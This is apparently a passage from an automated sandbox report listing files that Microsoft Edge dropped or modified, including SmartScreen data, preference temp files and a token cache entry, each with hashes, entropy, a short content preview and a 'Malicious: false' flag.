Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.014643800086093
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVLkn:YWLSGTt1o9LuLgfGBPAzkVj/T8lhkn
MD5:	1C904F634BB1D9DDB5C44928B74907D4
SHA1:	B3A7CE8AAE872E87895AB97EBF6557CF6F437CAA
SHA-256:	DF64A3E8DA010609403DF232CB351B1892E5B468FC82FE50039E2BD5F1C7C5F5
SHA-512:	8467D0C3CE5BE47B1136F111FAC2755CECDADE0A51D3CDB2D81728EEDD50D6F1AD5CE9EDD91D00974D5BD09C78832ACEC604E7CAD522DFCCD7E14AE2995EF6DA
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730360072857154}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\aa395365-bf4f-4824-b6a2-b259e7cb1a0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.094671728320757
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcPi1zNtq7qSN3pKP14wELDPKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynR71LKtSmd6qE7lFoC
MD5:	87EFE0E153B414CD235E95938467C2BC
SHA1:	757B63195584BEB02BD83E15D6D483148886C755
SHA-256:	4E684A022009413E03E6E64BB6EC5DA22F495CE5B175E8F198FF03E74B898E01
SHA-512:	E21E84E7BD964CF1086F12C3771C50C24CFCBF2572C228F0814EE11972E886FD1A2E738075E006CE0AAB1A6E702B5292FE8D5A6215F287783BA7D4E9E0584F2B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b112552e-fd18-4e50-9331-611a7a8399d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46383
Entropy (8bit):	6.086443978552364
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgxKF7+i1zNtq7qS9ELz1Y5bnBhy1DhuCiokJDSgzMMd6qD47ur:JMk1rT8HRKS71T014FoktSmd6qE7e
MD5:	6B947EED96C7E2AB4927C6EE80371665
SHA1:	B0537EA366E05D5FB9DAF8696F4795B7F48BAA82
SHA-256:	34CE783636AEE8019C6E7B2346F6CB22BB4C5DB89E81972A3AF349298FF493BB
SHA-512:	CF0B67EDD4B9D3EE1B89F39F6C272CCDE277217EE6D9BCCF0024C80F6F9B25D91F5A1447D844C2EB05BD48040E8EED9E886EAC9A578475B34487286A313DD256
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374732868756683","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f148dd1b-510f-4697-a696-bde87a18b24a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b3b3f965-640c-41f1-a5f4-e354c791533a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46507
Entropy (8bit):	6.08610467264817
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgK9FJ+i1zNtq7qLELz1Y5bnBhy1DhuCiokJDSgzMMd6qD47u37:JMk1rT8Hq9w7C014FoktSmd6qE7e
MD5:	1EA71E65C0FBDCC4A0991FCFF3C306A8
SHA1:	FE9BF9776AB2AEE99E1E8427421F716EB9A4ED1E
SHA-256:	6452A861EFED2799BC01769C0EB19D429F85448F3862759C9D455567C285429E
SHA-512:	4549B5E215E7F6F8C5E8738BD31E1AA24ED8B6DDCBD0D683460652DFF95B148413036800CE3DF7A5BE22CB1A16640E283B154B0933EA67B6AA5122BC9FC539BC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374732868756683","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"f148dd1b-510f-4697-a696-bde87a18b24a"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c162308f-3640-4606-92bb-88cf54827776.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44984
Entropy (8bit):	6.09454467363868
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xW+Pi1zNtq7qS9ELz1Y5bnBKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7yOj71TKtSmd6qE7lFoC
MD5:	A9C199645652B7A6B5CA7FC87EF54A21
SHA1:	DC3D29550B8A00CC08737EEA266669A319AA85B9
SHA-256:	F265ACF9DC690F2CD6E207DEF0D43BB8047DF2038BE0449B4653541543BA4604
SHA-512:	62815B81F99A1EBBD669ABD90CFBB6AAED729FDE481AC4143F3A0AEA7ABCA41FD4ED54FB64C342FC9815D7E023D988CFBDF67407B34D0530BA274A8A6493BE16
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d0c88adb-822c-47d3-8b13-f3398debb21d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089788325442508
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWpdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynj6kzItSmd6qE7lFoC
MD5:	C508B7FF43413DE6939BCAA5AA94556C
SHA1:	55EE9F2BE4BB3699FFEADB5A0BDBFF38041E0DF5
SHA-256:	6AC9994D24F1072DA9E2958A101842B4F397C118B65CE19173E00815777CCDBE
SHA-512:	23BB044E2925FDFF045EE6CA36642838FB5F845F2C70394CB83122F4269195CF483E03D450562BC635B2ABA431674A21DCD6240135FA920209CD33D2FEA59745
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.852881018515965
